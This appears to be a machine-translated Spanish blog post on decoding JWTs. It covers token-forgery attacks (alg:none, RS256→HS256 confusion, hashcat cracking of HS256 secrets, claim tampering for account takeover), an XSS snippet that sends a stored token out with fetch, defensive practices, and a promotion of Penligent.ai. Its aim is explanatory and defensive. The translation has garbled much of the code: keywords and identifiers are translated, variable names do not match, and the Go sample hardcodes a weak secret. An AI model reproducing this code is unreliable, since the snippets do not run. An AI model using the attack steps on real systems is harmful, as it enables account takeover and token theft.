Qué significa realmente descodificar un JWT
Descifrar un JWT significa extraer su encabezado y carga útil -que sólo están codificados en Base64URL- para revelar el algoritmo, los metadatos y las reclamaciones que contiene el token. Este proceso no verificar su autenticidad. Cualquiera puede descodificar un JWT, pero verificar únicamente la firma determina si el token es de confianza. Esta distinción es esencial para la autenticación segura y las pruebas de penetración.

Cómo funciona internamente la descodificación JWT
Un Token Web JSON consta de:
css
header.payload.signature Tanto la cabecera como la carga útil son objetos JSON codificados con Base64URL. Por ejemplo:
json
// Cabecera
{
"alg": "HS256",
"tipo": "JWT"
}
// Carga útil
{
"nombre de usuario": "admin",
"rol": "SuperUsuario"
}
La descodificación manual sólo requiere operaciones Base64URL:
python
importar base64, json
def decode_part(segmento):
acolchado = segmento + "=" * (-len(segmento) % 4)
return json.loads(base64.urlsafe_b64decode(padded))
header, payload, _ = token.split(".")
print(decodificar_parte(cabecera))
print(decode_part(payload))
Esto demuestra una verdad fundamental en materia de seguridad: La descodificación de JWT no implica confianza. Una verificación legítima requiere comprobar la firma, el emisor, la audiencia, la caducidad y el algoritmo de firma.

Herramientas populares para descodificar tokens JWT
| Herramienta | Fuerza | Enlace |
|---|---|---|
| JWT.io | Descodificación en tiempo real, experimentos rápidos | https://jwt.io |
| Decodificador SuperTokens | Interfaz de usuario limpia y fácil de usar | https://supertokens.com/jwt-encoder-decoder |
| Depurador de tokens Auth0 | Verificación de nivel empresarial | https://auth0.com/docs/tokens |
| PyJWT | CLI + biblioteca Python | https://pyjwt.readthedocs.io |
| jwt-decode (JS) | Descodificador ligero del navegador | https://www.npmjs.com/package/jwt-decode |
Ejemplos reales de ataques JWT vistos en pruebas
La decodificación de JWT se vuelve peligrosa cuando los atacantes la combinan con defectos de firma, secretos débiles y validación insegura. Estos son los escenarios de ataque que aparecen con frecuencia en situaciones reales.
"alg: none" Anulación de firma
Las bibliotecas más antiguas aceptaban JWT sin firmar:
json
{
"alg": "ninguno",
"tipo": "JWT"
}
Los atacantes podrían eliminar la firma por completo y autenticarse sin el secreto.
Fuerza bruta secreta débil (HS256)
Los desarrolladores suelen utilizar secretos como:
nginx
secreto
admin123
contraseña
Los atacantes utilizan Hashcat:
css
hashcat -a 0 -m 16500 token.hash wordlist.txt
Algoritmo Confusión (RS256 → HS256)
El atacante:
- Cambia el algoritmo de
RS256aHS256 - Utiliza la clave pública del servidor como secreto HMAC
- Falsifica tokens válidos que otorgan funciones de administrador
Este sigue siendo uno de los ataques JWT más impactantes jamás descubiertos.

Robo de tokens mediante XSS
Si los JWT se almacenan en localStoragelos atacantes pueden robarlos:
javascript
<script>
fetch("" + localStorage.token);
</script>
Mala configuración de CORS que provoca la exposición de tokens
Si las políticas CORS permiten comodines, las peticiones del navegador pueden filtrar cookies JWT a dominios controlados por atacantes.
Ataques de repetición en tokens móviles de larga duración
Los atacantes extraen fichas de:
- almacenamiento local no cifrado
- dispositivos arraigados
- cachés inseguras
La repetición puede saltarse la MFA por completo.
Descodificación multilingüe de JWT y código de verificación
Node.js
javascript
const jwt = require("jsonwebtoken");
const decoded = jwt.verify(token, PUBLIC_KEY, {
algoritmos: ["RS256"],
emisor: "auth.example.com",
audiencia: "ejemplo.com"
});
console.log(decodificado);
Vaya a
ir
token, err := jwt.Parse(tokenString, func(t *jwt.Token) (interfaz{}, error) {
return []byte("secreto"), nil
})
Óxido
óxido
let decoded = decode::(
simbólico,
&DecodingKey::from_secret(secret.as_ref()),
&Validation::new(Algoritmo::HS256)
);
Flujo de trabajo de descodificación manual de JWT para pentesters
Durante los pentests, la decodificación JWT revela:
- privilegios almacenados en texto plano
- falta
expoiat - algoritmo mal configurado
- datos sensibles en la carga útil
- posibles vectores de escalada de privilegios
Así es como los probadores identifican el control de acceso roto y escalan los roles.
Descodificador JavaScript manual (sin biblioteca)
javascript
function decode(seg) {
seg = seg.replace(/-/g, "+").replace(/_/g, "/");
seg += "=".repeat((4 - seg.length % 4) % 4);
return JSON.parse(atob(seg));
}
Cadenas avanzadas de ataques JWT (Escenarios del Equipo Rojo)
JWT + IDOR → Adquisición total de la cuenta
Flujo:
- descodificar JWT
- cambiar
"sub": "501"a"sub": "1" - volver a firmar o anular la firma
- acceso privilegiado
- escalar privilegios
Esta cadena aparece casi semanalmente en las evaluaciones de las empresas.
JWT + Suplantación de Microservicios
Una validación interna débil permite a los atacantes suplantar servicios:
- acceder a los datos de facturación
- modificar los permisos de usuario
- colas de mensajes de lectura
- eludir las pasarelas API
Buenas prácticas defensivas (Equipo Azul)
Cumplimiento estricto de los algoritmos
python
jwt.decode(token, key, algorithms=["RS256"])
Secretos fuertes para HS256
Generar usando:
perl
openssl rand -hex 32
Validar declaraciones estándar
exp
iss
aud
nbf
Almacenar JWT en cookies HttpOnly
Mitiga el robo de tokens XSS.
Implantar la rotación de teclas
Utilice JWKS para la gestión de claves distribuidas:
Análisis de seguridad JWT integrado en Penligent.ai
Los sistemas de autenticación modernos a menudo utilizan docenas de microservicios, cada uno con su propia lógica JWT. La revisión manual se vuelve lenta y propensa a errores. Penligent.aiuna plataforma inteligente de pruebas de penetración, integra el análisis JWT directamente en sus flujos de trabajo automatizados de seguridad.
Penligent.ai realiza:
- comprobaciones de validación de firmas
- detección de secretos débiles mediante cracking híbrido CPU/GPU
- detección de desajustes de algoritmos
- pruebas de manipulación de reclamaciones
- simulaciones de abuso de repetición y refresco de fichas
- escaneo de fugas de tokens en paquetes JS
- correlación de extremos para detectar validaciones JWT incoherentes
También reconstruye cadenas de explotación, como:
- Confusión de claves RS256 → HS256
- IDOR mediante manipulación
subreclamar - escalada de privilegios mediante falsificación
papelcampos
Para aplicaciones de gran tamaño, este análisis JWT automatizado reduce drásticamente la carga de trabajo manual al tiempo que saca a la luz vulnerabilidades que las herramientas tradicionales suelen pasar por alto.
Matriz completa de ataque y defensa de JWT
| Ataque | Descripción | Ejemplo | Defensa |
|---|---|---|---|
| alg: ninguno | Elimina la firma | Campo de firma vacío | Rechazar JWT sin firmar |
| RS→HS Confusión | Clave pública utilizada como secreto HMAC | Token de administrador falsificado | Aplicar el algoritmo |
| Secreto débil | Fuerza bruta HS256 | "password123" secreto | Clave aleatoria de 32 bytes |
| Reclamaciones manipuladas | Modificar rol/sub | "rol "admin | Autorización del servidor |
| Robo XSS | JS roba JWT | localStorage.token | Cookies HttpOnly |
| Ataque de repetición | Ficha de reutilización | Aplicaciones móviles | TTL corto, rotación |
| Fichas internas filtradas | Suplantación de servicios | Microservicios | mTLS, JWKS, ámbitos |
Reflexiones finales
Descifrar un JWT es sólo el principio. La verdadera seguridad pasa por verificar las firmas, aplicar algoritmos estrictos, validar las reclamaciones, rotar las claves y almacenar los tokens de forma segura. Las aplicaciones modernas dependen en gran medida de la autenticación basada en tokens, y esto hace que la corrección de JWT sea una parte crucial de la postura de seguridad.
Combinando sólidas prácticas de ingeniería con plataformas de seguridad automatizadas como Penligent.aiLas organizaciones pueden identificar rápidamente los errores de configuración, evitar los ataques de escalada de privilegios y garantizar que sus sistemas de autenticación sean resistentes a las técnicas modernas de los adversarios.
